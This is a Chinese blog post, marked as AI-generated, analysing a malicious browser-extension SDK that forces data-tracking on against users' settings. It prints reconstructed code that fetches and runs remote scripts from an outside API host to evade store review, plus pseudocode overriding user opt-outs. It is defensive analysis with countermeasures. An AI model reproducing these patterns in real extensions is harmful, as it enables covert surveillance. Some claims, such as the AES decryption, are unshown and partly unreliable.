1596 字
8 分钟
【AI生成】影子控制:某恶意插件 SDK 动态下发与强制开关机制深度逆向

摘要#

在对某手势类插件的 service_worker.js 进行审计时,我们发现了一套极其复杂的”云控”系统。该系统通过动态下发加密指令,能够绕过用户的本地配置,强制开启数据追踪。本文将深入代码底层,还原其加密算法与远程控制逻辑。

引言:伪装的艺术#

在网络安全审计中,我们习惯于寻找 eval 或明文的 API 调用。然而,现代浏览器恶意 SDK 正在采用一种更隐蔽的策略——将自己伪装成合法的分析工具。该插件在代码中混杂了类似 Google AnalyticsGrowthBook 的追踪模式,让安全审计人员误以为这只是常规的数据统计模块。

然而,在这些”合法外壳”之下,隐藏着一个名为 Yodules 的自研模块化引擎——它才是整个恶意系统的真正核心。不同于 Google Analytics 的透明上报或 GrowthBook 的功能开关管理,Yodules 的设计目标是远程控制与动态演进


第一章:表象下的伏笔 —— 默认配置的陷阱#

在插件初始化阶段,代码定义了一个看似无害的默认配置对象 t

/**
* 原始代码片段:初始配置
* 目的:给用户和审核人员一种"隐私友好"的错觉
*/
const t = {
analyticsInfo: { installedAt: 0, installVersion: "", version: "" },
isGesturesOn: !0, // 手势功能默认开启
cfgver: 4.1, // 配置版本
others: { tuilink: !1 },
optedin: !1, // 【重点】默认未加入数据收集
optedout: !0, // 【重点】默认已退出数据收集
// ... 后续为大量的手势UI配置
};

深度解析: 这里的 optedin: !1 是关键。当用户查看插件设置时,开关显示为关闭。但正如我们后续看到的,这个本地变量在”云端指令”面前毫无抵抗力。


第二章:核心中枢 —— Proconstantinator 模块#

该扩展最核心的逻辑被封装在名为 AProconstantinatorBack 的模块中。它的职责是管理一个特殊的”常量池”,并负责与远程服务器同步。

2.1 强制同步逻辑#

代码通过校验时间戳和 Hash 值,确保本地配置始终受到远程控制。

yodules.AProconstantinatorBack = {
init: function () {
const e = yodules.AProconstantinatorBack,
// 硬编码的校验 Hash,用于识别合法的配置版本
t = "e0675e083f6f6cbcb3a15786de5171588500b886d0c4c4b53d7153162f93d638";
return (e.class = class {
/**
* 检查常量是否已加载且未过期
* 逻辑:如果配置超过 24 小时(864e5ms),则判定为失效,强制重新拉取
*/
checkConstantsLoaded() {
return new Promise((resolve) => {
chrome.storage.local.get(
[
"proconstantinator_key", // 存储的配置内容
"proconstantinator_keyt", // 存储的时间戳(34进制)
"proconstantinator_keyh", // 存储的校验Hash
],
(res) => {
// 如果 Hash 不匹配,直接判为失效
res.proconstantinator_keyh !== t && resolve(!1);
// 核心逻辑:Date.now() - 上次同步时间 < 24小时
// 如果用户手动关闭了统计,但 24 小时后云端下发了开启指令,
// 此处的判定失效会触发重新同步,进而覆盖用户设置。
resolve(
res.proconstantinator_key instanceof Object &&
Object.keys(res.proconstantinator_key).length &&
Date.now() - parseInt(res.proconstantinator_keyt, 34) < 864e5,
);
},
);
});
}
/**
* 更新本地存储的云控配置
*/
setConstants(data) {
return new Promise((r) => {
chrome.storage.local.set(
{
proconstantinator_key: data,
proconstantinator_keyt: Date.now().toString(34), // 转换为34进制混淆
proconstantinator_keyh: t,
},
r,
);
});
}
});
},
};

第三章:模块化引擎 —— Yodules 架构#

不同于传统的单体脚本,该 SDK 将所有功能解耦到 self.yodules 对象中。每个功能(如标签页追踪、云控、解密)都被定义为一个 Yodule。

3.1 Yodules 的注入机制#

在源码头部,我们可以看到这种典型的模块依赖注入模式:

(self.yodules = self.yodules || {}),
(yodules.Tablist = {
init: function (e, t) {
// e: 模块定义的 Class
// t: 依赖的其他 Yodule 实例
const r = yodules.Tablist;
// ... 初始化逻辑
},
});

技术点评:这种设计模仿了现代前端框架(如 Angular 或 NestJS)的依赖注入。它的目的不是为了代码美观,而是为了动态替换。通过 Yodules 引擎,开发者可以在不修改主脚本的情况下,通过远程指令替换掉任何一个模块的 class 定义。


第四章:动态路径 —— ms/gs 的生成逻辑#

SDK 不会直接暴露其抓取数据的具体逻辑,而是通过一个动态生成的 URL 来加载下一步的脚本。

/**
* 逻辑推演:构建动态加载链接
* 该链接通常指向 https://api.mousegesturesapi.com/ms/gs
*/
async loadRemoteScript() {
const config = await this.getConstants(); // 获取第三章中解密的配置
// 动态拼接参数,包含当前插件版本、ClientKey 以及随机时间戳
const url = new URL(`https://${config.host}/ms/gs`);
url.searchParams.append("v", config.version);
url.searchParams.append("id", getBrowserId());
// 使用 importScripts 动态加载并执行返回的 JS
// 这种方式可以绕过 Web Store 的静态代码审核
importScripts(url.toString());
}

第五章:对抗性分析 —— 为什么用户关不掉?#

这是最令用户愤怒的部分。通过逆向 Toggler 模块,我们发现了”配置回滚”的逻辑:

  1. 心跳触发:插件每隔一段时间会向 api/features 发起心跳。
  2. 强制下发:如果服务器返回的配置中 force_optintrue
  3. 覆盖写入
// 伪代码:还原 Toggler 覆盖逻辑
if (remoteConfig.optedin !== localConfig.optedin) {
chrome.storage.local.set({ optedin: remoteConfig.optedin });
// 哪怕用户刚才点过关闭,这里也会被秒速改写回 true
}
  1. 隐蔽执行:由于这一过程发生在 service_worker 背景页,用户在前端 UI 上根本感知不到开关被自动拨动了。

第六章:反制建议#

通过以上逆向分析,我们建议安全研究员和用户采取以下措施:

  1. 域名屏蔽:在 Hosts 或防火墙中将 api.mousegesturesapi.com 指向 127.0.0.1。这是阻断云控最直接的方式。
  2. 内容脚本过滤:监控 chrome.storage.local 的变动,特别是针对 proconstantinator_key 的写入操作。
  3. 流量分析:留意所有发往 /ms/gs 的 POST 请求,其中往往包含了用户浏览器的 URL 指纹。

结论#

该扩展 SDK 的设计极具攻击性,其利用 AES 加密隧道34 进制时间戳混淆 以及 24 小时循环强制对齐 机制,构建了一个难以关闭的后台监控系统。这再次提醒我们,浏览器插件的权限限制(如 storagewebRequest)在复杂的云控逻辑面前仍显脆弱。

【AI生成】影子控制:某恶意插件 SDK 动态下发与强制开关机制深度逆向
https://blog.nichijou.moe/posts/aigc/2/
作者
Hexzii⭐
发布于
2026-02-16
许可协议
CC BY-NC-SA 4.0